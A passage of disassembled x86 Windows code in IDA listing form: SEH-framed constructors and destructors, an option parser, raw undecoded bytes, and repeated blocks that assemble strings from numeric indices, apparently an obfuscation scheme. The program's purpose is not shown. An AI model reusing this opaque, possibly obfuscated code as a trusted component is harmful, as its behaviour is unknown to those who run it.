		push	eax
		lea	ecx, [esp+47Ch+var_420]
		push	ebp
		push	ecx
		lea	ecx, [esp+484h+var_468]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+478h+var_4], 4
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401A9B
		lea	ecx, [esp+478h+var_420]
		mov	byte ptr [esp+478h+var_4], 3
		call	sub_401226
		inc	esi
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_403591


loc_4035E7:				; CODE XREF: sub_4034E0+B5j
		mov	esi, [esp+478h+arg_0]
		lea	edx, [esp+478h+var_450]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+478h+var_46C], 1
		lea	ecx, [esp+478h+var_450]
		mov	byte ptr [esp+478h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+478h+var_438]
		mov	byte ptr [esp+478h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+478h+var_468]
		mov	byte ptr [esp+478h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+478h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch
		retn
sub_4034E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4036B0	proc near		; CODE XREF: sub_401681j
		mov	eax, [ecx+9]
		retn
sub_4036B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4036D0	proc near		; CODE XREF: sub_40129Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4036D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+9]
		call	sub_402207
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_402207
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_402207
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_402207
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_402207
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_402207
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_402207
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_402207
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_402207
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_402207
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_402207
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_402207
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_402207
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_402207
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_402207
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_402207
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_402207
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_402207
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_402207
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_402207
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_402207
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_402207
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_402207
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_402207
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_402207
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_402207
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_402207
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_402207
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_402207
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_402207
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_402207
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_402207
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_402207
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_402207
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_402207
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_402207
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_402207
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_402207
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_402207
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_402207
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401749
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401749
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401749
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401749
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401749
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401749
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401749
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401749
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401749
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401749
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401749
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401749
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401749
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401749
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401749
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401749
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_401749
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_4011A4
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_4011A4
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_4011A4
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_4011A4
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_4011A4
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4036D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C00	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C70	proc near		; CODE XREF: sub_4011B3j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E004
		retn
sub_403C70	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C90	proc near		; CODE XREF: sub_402207j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D10	proc near		; CODE XREF: sub_401AD2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D10	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D90	proc near		; CODE XREF: sub_401749j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403E00	proc near		; CODE XREF: sub_4011A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403E00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_402207
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_402207
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_402207
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_402207
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_402207
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_402207
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_402207
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_402207
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403E00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403EE0	proc near		; CODE XREF: sub_40206Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403EE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_401AD2
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AD2
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AD2
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AD2
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AD2
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401AD2
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AD2
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AD2
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403EE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403FC0	proc near		; CODE XREF: sub_401D34j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403FC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
sub_403FC0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+40h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 2
		call	sub_4017E4
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+44h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 3
		call	sub_4017E4
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	16h
		push	0Fh
		push	0Dh
		push	5
		push	12h
		push	4Fh
		lea	ecx, [esp+44h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 5
		call	sub_4017E4
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 6
		call	sub_4017E4
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 7
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+3Ch]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 8
		call	sub_4017E4
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+38h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 9
		call	sub_4017E4
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+38h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ah
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Bh
		call	sub_4017E4
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+48h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ch
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+0CB3h]
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Dh
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		db 8Dh,	4Ch, 24h
		dd 247C8924h, 0CE20E85Ch, 4E8DFFFFh, 0D3D6E809h, 4C8DFFFFh
		dd 51500C24h, 0FFDC09E8h, 6A006AFFh, 6A1D6A25h,	24548D23h
		dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD580E8h, 20C483FFh, 4C8DE88Bh
		dd 44C60C24h, 0E80F5C24h, 0FFFFD39Ch, 0E8CD8B50h, 0FFFFD394h
		dd 35F46850h, 75680044h, 0E8004D60h, 0FFFFD9ABh, 8D10C483h
		dd 0C624244Ch, 0E5C2444h, 0FFCDB5E8h, 8D206AFFh, 6A402444h
		dd 4C8D5000h, 2FE81824h, 8BFFFFCEh, 2444C6C8h, 55E8105Ch
		dd 50FFFFD3h, 4435F068h, 6E456800h, 8EE8004Eh, 83FFFFCBh
		dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCD76h, 0C45EE890h
		dd 0C88B0246h, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h
		dd 247C8905h, 0CD54E85Ch, 4C8BFFFFh, 5E5F5424h,	0D89645Dh
		dd 0
; ---------------------------------------------------------------------------
		add	esp, 54h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 150h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404640	proc near		; CODE XREF: sub_401A32j

var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_404640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_40146F
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_404682
		push	ebx
		jmp	short loc_404686
; ---------------------------------------------------------------------------


loc_404682:				; CODE XREF: sub_404640+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_404686:				; CODE XREF: sub_404640+40j
		mov	ecx, edi
		call	sub_401FBE
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_4046A2
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_401FBE


loc_4046A2:				; CODE XREF: sub_404640+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_40471F
		lea	ecx, [esp+98h+var_6C]
		call	sub_401424
		push	offset aO	; " -o"
		mov	ecx, esi
		mov	[esp+9Ch+var_4], 0
		call	sub_4013E3
		add	eax, 3
		lea	edx, [esp+98h+var_54]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+9Ch+var_6C]
		mov	byte ptr [esp+9Ch+var_4], 1
		call	sub_401FBE
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], 0
		call	sub_401226
		lea	eax, [esp+98h+var_6C]
		mov	ecx, edi
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226


loc_40471F:				; CODE XREF: sub_404640+6Aj
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_6C]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+98h+var_54]
		mov	ebx, 2
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0A0h+var_4], ebx
		call	sub_401E2E
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401FBE
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_40146F
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_40146F
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_4049EA
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0C0h+var_54]
		push	ebx
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+98h+var_4], 4
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40480F
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+arg_0], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C5E
		call	sub_401CD0
		test	eax, eax
		jz	short loc_40480F
		mov	bl, 1
		jmp	short loc_404811
; ---------------------------------------------------------------------------


loc_40480F:				; CODE XREF: sub_404640+1A6j
					; sub_404640+1C9j
		xor	bl, bl


loc_404811:				; CODE XREF: sub_404640+1CDj
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_4049CE
		push	offset asc_443600 ; " "
		lea	eax, [esp+9Ch+var_54]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F30
		mov	ecx, eax
		mov	[esp+9Ch+var_4], 5
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	loc_4049EA
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+var_4], 6
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+98h+var_54]
		mov	ebp, eax
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	loc_4049EA
		push	20h
		mov	ecx, esi
		call	sub_401D20
		lea	edx, [esp+98h+var_84]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E2E
		mov	ebx, 7
		push	20h
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_4], ebx
		call	sub_401D20
		push	eax
		lea	eax, [esp+9Ch+var_54]
		push	eax
		lea	ecx, [esp+0A0h+var_84]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	byte ptr [esp+9Ch+var_4], 8
		call	sub_40200E
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_84]
		push	ecx
		mov	ecx, esi
		call	sub_401FBE
		push	offset asc_443600 ; " "
		lea	edx, [esp+9Ch+var_24]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+98h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+0A0h+var_4], 9
		call	sub_401E2E
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401FBE
		lea	ecx, [esp+98h+var_3C]
		mov	byte ptr [esp+98h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+98h+var_24]
